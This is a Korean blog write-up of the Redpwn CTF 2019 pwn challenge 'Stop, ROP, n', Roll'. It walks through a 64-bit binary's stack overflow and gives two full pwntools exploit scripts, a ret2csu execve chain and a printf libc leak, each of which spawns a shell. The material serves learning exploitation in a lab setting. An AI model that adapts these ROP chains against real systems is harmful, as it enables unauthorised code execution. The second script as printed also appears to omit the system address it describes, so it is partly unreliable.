본문 바로가기

CTF_Write_UP

[Redpwn CTF 2019] Stop, ROP, n', Roll

시작

안녕하세요 :D

요즘 정보보안산업기사 필기 공부 때문에 ctftime.org를 자주 못들어갔어요..

오랜만에 가보니 Redpwn CTF가 진행중이더라구요!!

이론이 너무 질려 머리도 식힐 겸? pwn 문제 몇 개를 싸지방에서 끄적여봤습니다.

앞에 3문제는 단순한 문제였어요 ㅎㅎ 그나마 고민했던건 포맷스트링 문제정도??

얘네들은 32비트 파일에다가 익스 코드도 무척 짧아서 롸업을 안 쓰고 넘어갈게요.

Stop, ROP, n’, Roll, srnr은 64비트 바이너리에다가 시나리오를 짤 때 고민을 많이 해서

정리할 겸 글을 쓰려고 합니다.

시작해보죠!!

Write UP

root@goorm:/tmp/Redpwn# ./srnr
[#] number of bytes: 10

실행시켜보면 바이트 수를 물어보고 사용자의 입력을 받아요.

10을 주었더니 아무 반응을 하지 않고 종료되네요. gdb로 자세히 볼게요.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

문제 제목답게 ROP 쓰라고 NX만 걸려있네요.

gdb-peda$ pd main
Dump of assembler code for function main:
   0x000000000040073b <+0>:     push   rbp
   0x000000000040073c <+1>:     mov    rbp,rsp
   0x000000000040073f <+4>:     sub    rsp,0x10
   0x0000000000400743 <+8>:     mov    rax,QWORD PTR [rip+0x2018d6]        # 0x602020 <stdout@@GLIBC_2.2.5>
   0x000000000040074a <+15>:    mov    esi,0x0
   0x000000000040074f <+20>:    mov    rdi,rax
   0x0000000000400752 <+23>:    call   0x4005b0 <setbuf@plt>
   0x0000000000400757 <+28>:    mov    rax,QWORD PTR [rip+0x2018d2]        # 0x602030 <stdin@@GLIBC_2.2.5>
   0x000000000040075e <+35>:    mov    esi,0x0
   0x0000000000400763 <+40>:    mov    rdi,rax
   0x0000000000400766 <+43>:    call   0x4005b0 <setbuf@plt>
   0x000000000040076b <+48>:    mov    rax,QWORD PTR [rip+0x2018ce]        # 0x602040 <stderr@@GLIBC_2.2.5>
   0x0000000000400772 <+55>:    mov    esi,0x0
   0x0000000000400777 <+60>:    mov    rdi,rax
   0x000000000040077a <+63>:    call   0x4005b0 <setbuf@plt>
   0x000000000040077f <+68>:    lea    rdi,[rip+0x4d0]        # 0x400c56
   0x0000000000400786 <+75>:    mov    eax,0x0
   0x000000000040078b <+80>:    call   0x4005c0 <printf@plt>
   0x0000000000400790 <+85>:    call   0x400710 <get_int>
   0x0000000000400795 <+90>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400799 <+94>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040079d <+98>:    mov    ecx,eax
   0x000000000040079f <+100>:   lea    rax,[rbp-0x9]
   0x00000000004007a3 <+104>:   mov    edx,0x186a0
   0x00000000004007a8 <+109>:   mov    rsi,rax
   0x00000000004007ab <+112>:   mov    edi,ecx
   0x00000000004007ad <+114>:   call   0x4005d0 <read@plt>
   0x00000000004007b2 <+119>:   mov    eax,0x0
   0x00000000004007b7 <+124>:   leave
   0x00000000004007b8 <+125>:   ret
End of assembler dump.

main 함수를 보면 get_int()가 보이네요. 이 함수의 리턴 값은 rax 레지스터에 들어갈건데

임마를 ecx에 넣고, 그걸 다시 edi로 주면서 read()의 첫 번째 인자로 들어가네요.

처음에 10을 넣었죠? 때문에 read(10, %rbp-0x9, 0x186a0)이 실행되고, fd가 10인 파일이 없기 때문에

음수를 리턴하고 함수가 종료돼요.

일단 표준입력을 주어서 read()를 실행시켜야겠죠? 0을 입력해보겠습니다.

root@goorm:/tmp/Redpwn# ./srnr
[#] number of bytes: 0
aaaa

정상적으로 read()가 돌아가네요. rdi가 0x186a0이므로 여기서 BOF가 발생합니다!!

이제 어떤 함수로 돌려야 할지 고민해봐요.

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x0000000000400588  _init
0x00000000004005b0  setbuf@plt
0x00000000004005c0  printf@plt
0x00000000004005d0  read@plt
0x00000000004005e0  getchar@plt
0x00000000004005f0  __isoc99_scanf@plt
0x0000000000400600  _start
0x0000000000400630  _dl_relocate_static_pie
0x0000000000400640  deregister_tm_clones
0x0000000000400670  register_tm_clones
0x00000000004006b0  __do_global_dtors_aux
0x00000000004006e0  frame_dummy
0x00000000004006e7  sub_1258
0x00000000004006ef  sub_1263
0x00000000004006f7  sub_1289
0x00000000004006ff  sub_1337
0x0000000000400708  sub_1358

.

.

함수 목록을 보면 sub_ 로 시작하는 친구들이 많이 보이지만..

막상 디스어셈블 해보니 아무것도 없더라구요. 굳이 찾자면 sub_1337이 syscall이 있다는 정도??

가젯은 얼마나 줬나 확인해볼게요.

root@goorm:/tmp/Redpwn# ROPgadget --binary ./srnr --string "/bin//sh"
Strings information
============================================================
0x0000000000400c49 : /bin//sh

/bin//sh 가젯과

root@goorm:/tmp/Redpwn# rp-lin-x64 -f ./srnr -r 4  | grep "pop rdi"
0x00400823: pop rdi ; ret  ;  (1 found)
root@goorm:/tmp/Redpwn# rp-lin-x64 -f ./srnr -r 4  | grep "pop rsi"
0x00400821: pop rsi ; pop r15 ; ret  ;  (1 found)

pop rdi, pop rsi 만 존재합니다. rdx를 건드릴 pop 가젯이 없네요..

이럴 땐 역시 csu 영역이죠?

  400800:       4c 89 fa                mov    rdx,r15
  400803:       4c 89 f6                mov    rsi,r14
  400806:       44 89 ef                mov    edi,r13d
  400809:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40080d:       48 83 c3 01             add    rbx,0x1
  400811:       48 39 dd                cmp    rbp,rbx
  400814:       75 ea                   jne    400800 <__libc_csu_init+0x40>
  400816:       48 83 c4 08             add    rsp,0x8
  40081a:       5b                      pop    rbx
  40081b:       5d                      pop    rbp
  40081c:       41 5c                   pop    r12
  40081e:       41 5d                   pop    r13
  400820:       41 5e                   pop    r14
  400822:       41 5f                   pop    r15
  400824:       c3                      ret

가젯 여기 다 있네요 ㅋㅋㅋㅋㅋ

바이너리는 이 정도로 보고 이제 시나리오를 짜봐요.

1. csu 가젯을 이용해서 execve() syscall, 쉘 실행

2. printf()로 메모리 주소 leak, system의 offset을 구해서 pop_rdi gadget, binsh, system 실행

 


 

1번 방법으로 해봅시다.

QWORD PTR[r12+rbx*8]을 call하기 때문에 syscall 가젯의 주소를 bss 같은 영역에 써주고

bss의 주소를 주도록 할게요.

익스 코드를 먼저 봅시다.

from pwn import *

#context.log_level = "debug"

p = process("./srnr")

bss = 0x602000
read_plt = 0x4005d0
read_got = 0x601fd8
binsh = 0x400c49
syscall = 0x400703
csu0 = 0x400800
csu1 = 0x400816

payload = ""

p.recvuntil("bytes: ")
p.sendline("0")

payload += "A" * 17
payload += p64(csu1)

payload += "A" * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(8)
payload += p64(csu0)

payload += "A" * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss + 0x10)
payload += p64(59)
payload += p64(csu0)

payload += "A" * 8
payload += p64(0)
payload += p64(1)
payload += p64(bss)
payload += p64(binsh)
payload += p64(0)
payload += p64(0)
payload += p64(csu0)

p.send(payload)
sleep(1)

p.send("\x03\x07\x40\x00\x00\x00\x00\x00")
sleep(1)

p.send("A" * 59)

p.interactive()

먼저 첫 번째 chain은 read(0, bss, 8)을 줘서 bss 영역에 syscall 가젯을 스트링 형태로 입력해주었습니다.

두 번째 chain에서 rax에 execve()의 syscall number인 59를 주기위해 read()의 리턴 값을 활용했습니다.

마지막 chain에선 bss 영역을 call, 즉 syscall을 호출하고 edi에 binsh 가젯을 줍니다

execve("/bin//sh", 0, 0)이 실행되는 거에요!!

[+] Starting local process './srnr': pid 309
[*] Switching to interactive mode
$ whoami
root

Exploit!!

 


 

2번 방법은 ctftime.org에 올라온 롸업을 참고했어요.

printf()로 leak해서 system의 주소를 구하고, main()으로 코드를 돌려 system(“/bin//sh”)를 실행하는 거에요.

제가 이대로 했을 땐 계속 EOF 에러떠서 답답했었는데..

틀린 부분은 recv()할 때 코드와 메모리 leak할 때 파이썬 문법에서 오류가 났던 것 같습니다.

from pwn import *

#context.log_level = "debug"

e = ELF("./srnr")
p = process(e.path)

pop_rdi = 0x400823
pop_rsi_pop_r15 = 0x400821
printf_plt = 0x4005c0
read_got = 0x601fd8
offset = 0xa8dc0
main = 0x40073b
binsh = 0x400c49

payload = ""

p.recvuntil("bytes: ")
p.sendline("0")

payload += "A" * 17

payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(pop_rsi_pop_r15)
payload += p64(0)
payload += p64(0)
payload += p64(printf_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(main)

p.send(payload)

libc_read = p.recv(1024)
libc_read = libc_read[:6]
log.info("libc_read = 0x" + libc_read[::-1].encode("hex"))

libc_read = int(libc_read[::-1].encode("hex"), 16)
libc_system = libc_read - offset

log.info(hex(libc_system))

sleep(1)

exploit = ""

p.sendline("0")

exploit += "A" * 17
exploit += p64(pop_rdi)
exploit += p64(binsh)

p.send(exploit)

p.interactive()

libc_read[::-1].encode(“hex”)가 뭔지 참..

찾아봤는데 역순으로 리스트를 만들고 16진수로 인코딩하란 뜻이었어요.

알아두면 언젠가 쓰일 것 같아서 적어둡니다!!

[*] '/tmp/Redpwn/srnr'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/tmp/Redpwn/srnr': pid 390
[*] libc_read = 0x7f5e5fd8b350
[*] 0x7f5e5fce2590
[*] Switching to interactive mode
$ whoami
root

Exploit!!

마무리

이 문제로 좋은 파이썬 문법 알아갑니다 ㅎㅎ..

포너블을 하면 할 수록 시나리오를 짜는 것 보다 적절한 send, recv와 형변환이 복잡한 것 같아요 ㅠㅠ

전역하기 전까지 파이썬 문법을 더 많이 봐야할 것 같습니다.

당분간 정보보안산업기사 공부 열심히 하고!! 앞으로도 좋은 문제 찾아서 풀어보겠습니다!!

감사합니다 :D

'CTF_Write_UP' 카테고리의 다른 글

[DefCon 2014] baby's first heap  (0) 2019.08.07
[DefCon 2016] Feed Me  (0) 2019.06.14
[Pico CTF 2013] ROP3  (0) 2019.06.12
[HSCTF 2019] Write up  (0) 2019.06.08
[2017 CSAW CTF] pilot  (0) 2019.05.30